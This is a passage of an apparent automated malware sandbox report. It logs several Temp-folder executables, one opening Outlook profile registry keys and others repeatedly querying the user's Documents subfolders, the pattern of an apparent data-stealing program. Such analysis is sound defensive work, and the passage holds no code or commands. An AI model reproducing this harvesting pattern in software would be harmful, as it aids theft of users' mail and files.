Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Directory queried: C:\Users\user\Documents\BPMLNOBVSB
